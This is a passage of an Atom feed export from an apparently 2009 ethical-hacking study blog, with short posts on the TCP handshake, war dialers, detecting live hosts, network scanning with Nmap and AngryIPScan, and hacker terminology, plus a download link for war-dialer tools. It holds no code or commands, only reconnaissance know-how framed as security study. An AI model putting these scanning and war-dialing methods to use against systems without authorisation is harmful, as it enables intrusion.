that pass back and forth:&lt;br /&gt;&lt;br /&gt;&lt;center&gt; &lt;img src="http://www.networkuptime.com/nmap/images/tcp_handshake.gif" /&gt; &lt;/center&gt;&lt;br /&gt;The First Frame – The initial synchronize (SYN) frame is sent from the station initiating the conversation to the destination station. The SYN frame includes initial sequence numbers and the port that will be used for the conversation, as well as other initialization parameters.&lt;br /&gt;&lt;br /&gt;The Second Frame – The destination station receives the SYN frame. If everything is in agreement, it sends an acknowledgement to the SYN (called an ACK) and its own SYN parameters.&lt;br /&gt;&lt;br /&gt;The Third Frame – The original station receives the ACK to its original SYN, as well as the SYN from the destination device. Assuming everything is in order, the source station sends an ACK to the destination station's SYN.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-1435926349623787261?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/1435926349623787261/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/06/transmission-control-protocol-tcp.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/1435926349623787261'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/1435926349623787261'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/06/transmission-control-protocol-tcp.html' title='Transmission Control Protocol [TCP]'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-8206742371041586032</id><published>2009-06-23T21:24:00.000-07:00</published><updated>2009-08-02T12:50:45.631-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Port Scanning'/><title type='text'>War Dialers</title><content type='html'>&lt;ul&gt;&lt;li&gt;A war dialer is a tool used to scan a large pool of telephone numbers to detect vulnerable modems to provide access to the system.&lt;/li&gt;&lt;li&gt;A demon dialer is a tool used to monitor a specific phone number and target its modem to gain access to the system.&lt;/li&gt;&lt;li&gt;Threat is high in systems with poorly configured remote access products providing entry to larger networks.&lt;/li&gt;&lt;li&gt;Tools include THC-Scan, ToneLoc, TBA etc&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;&lt;a style="TEXT-DECORATION: none" href="http://www.packetstormsecurity.org/wardialers/" target="_blank"&gt;&lt;span style="color:#000000;"&gt;DOWNLOAD&lt;/span&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-8206742371041586032?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/8206742371041586032/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/06/war-dialers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/8206742371041586032'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/8206742371041586032'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/06/war-dialers.html' title='War Dialers'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-8203642112043047023</id><published>2009-06-23T20:58:00.000-07:00</published><updated>2009-08-27T01:06:51.185-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Port Scanning'/><title type='text'>Detecting LIVE Systems</title><content type='html'>&lt;strong&gt;Detecting 'Live' Systems On Target Network&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Objective is to look for Live Hosts on the target network so that services and vulnerabilities may be enumerated later&lt;/li&gt;&lt;li&gt;To determine the perimeter of the target network /system&lt;/li&gt;&lt;li&gt;To facilitate network mapping&lt;/li&gt;&lt;li&gt;To build an inventory of accessible systems on target network&lt;/li&gt;&lt;li&gt;Can be intrusive, may be setected by &lt;a href="http://en.wikipedia.org/wiki/Intrusion-detection_system" target="_blank"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;IDS&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Tools&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a style="text-decoration: none;" title="War Dialers" href="http://swizardb.blogspot.com/2009/06/war-dialers.html"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;War Dialers&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style="text-decoration: none; color: rgb(0, 0, 0);"&gt;&lt;a title="Ping Utility" href="http://swizardb.blogspot.com/2009/08/ping-utility.html"&gt;Ping Utilities&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-8203642112043047023?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/8203642112043047023/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/06/detecting-live-systems.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/8203642112043047023'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/8203642112043047023'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/06/detecting-live-systems.html' title='Detecting LIVE Systems'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-7559749576089796786</id><published>2009-06-23T20:56:00.000-07:00</published><updated>2009-08-11T06:25:14.923-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Port Scanning'/><title type='text'>SCANNING</title><content type='html'>&lt;blockquote&gt;&lt;strong&gt;Network scanning is a procedure for identifying active hosts on a network, either for the purpose of attacking them or for network security assessment.&lt;/strong&gt;&lt;/blockquote&gt;&lt;p&gt;Scanning is done with the purpose of :&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a style="text-decoration: none;" href="http://swizardb.blogspot.com/2009/06/detecting-live-systems.html"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Detecting 'live' systems on target network&lt;/span&gt;&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Discovering services running/ listening on target systems.&lt;/li&gt;&lt;li&gt;&lt;a style="text-decoration: none;" href="http://swizardb.blogspot.com/2009/06/tcp-scan-types.html"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Understanding port scanning techniques&lt;/span&gt;&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Identifying TCP and UDP services running on target network.&lt;/li&gt;&lt;li&gt;&lt;a style="text-decoration: none;" href="http://swizardb.blogspot.com/2009/07/operating-system-detection.html"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Discovering the operating system&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Understanding active and passive fingerprinting&lt;/li&gt;&lt;/ul&gt;Tools Used : &lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/08/nmap.html" title="NMAP"&gt;NMap&lt;/a&gt;, AngryIPScan&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-7559749576089796786?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/7559749576089796786/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/06/scanning.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/7559749576089796786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/7559749576089796786'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/06/scanning.html' title='SCANNING'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-3430861001817038484</id><published>2009-06-23T02:59:00.000-07:00</published><updated>2009-08-12T10:59:26.343-07:00</updated><title type='text'>Ethical Hacking</title><content type='html'>&lt;strong&gt;Problem Definition - Why Security?&lt;/strong&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;div align="justify"&gt;Easy to use technology helps normal users to perform cracking.&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;Increasing complexity of computer infrastructure administration and management. &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;Decreasing skill level needed for exploits. &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;Direct impact of security breach on corporate asset base and goodwill &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;Increased networked environment and network based applications&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p align="justify"&gt;&lt;strong&gt;Can Hacking Be Ethical?&lt;/strong&gt; &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;div align="justify"&gt;'&lt;strong&gt;hacker&lt;/strong&gt;' -- a person who enjoys learning the details of computer systems and stretch their capabilities. &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;'&lt;strong&gt;hacking&lt;/strong&gt;' -- rapid development of new programs or the reverse engineering of already existing software to make the code better and efficient. &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;'&lt;strong&gt;cracker&lt;/strong&gt;' -- a person who uses his hacking skills for offensive and malicious purposes.&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;'&lt;strong&gt;ethical hacker&lt;/strong&gt;' -- security professionals who utilise their hacking skills for defensive purposes.&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;HACK (b)LOG - swizardb.blogspot.com&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;This blog aims to provide you with detailed endless hacking study material and is intended for learning ethical hacking for a hacker of any skill level. Please visit the posts, and leave comments.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-3430861001817038484?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/3430861001817038484/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/06/ethical-hacking.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3430861001817038484'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3430861001817038484'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/06/ethical-hacking.html' title='Ethical Hacking'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry></feed>
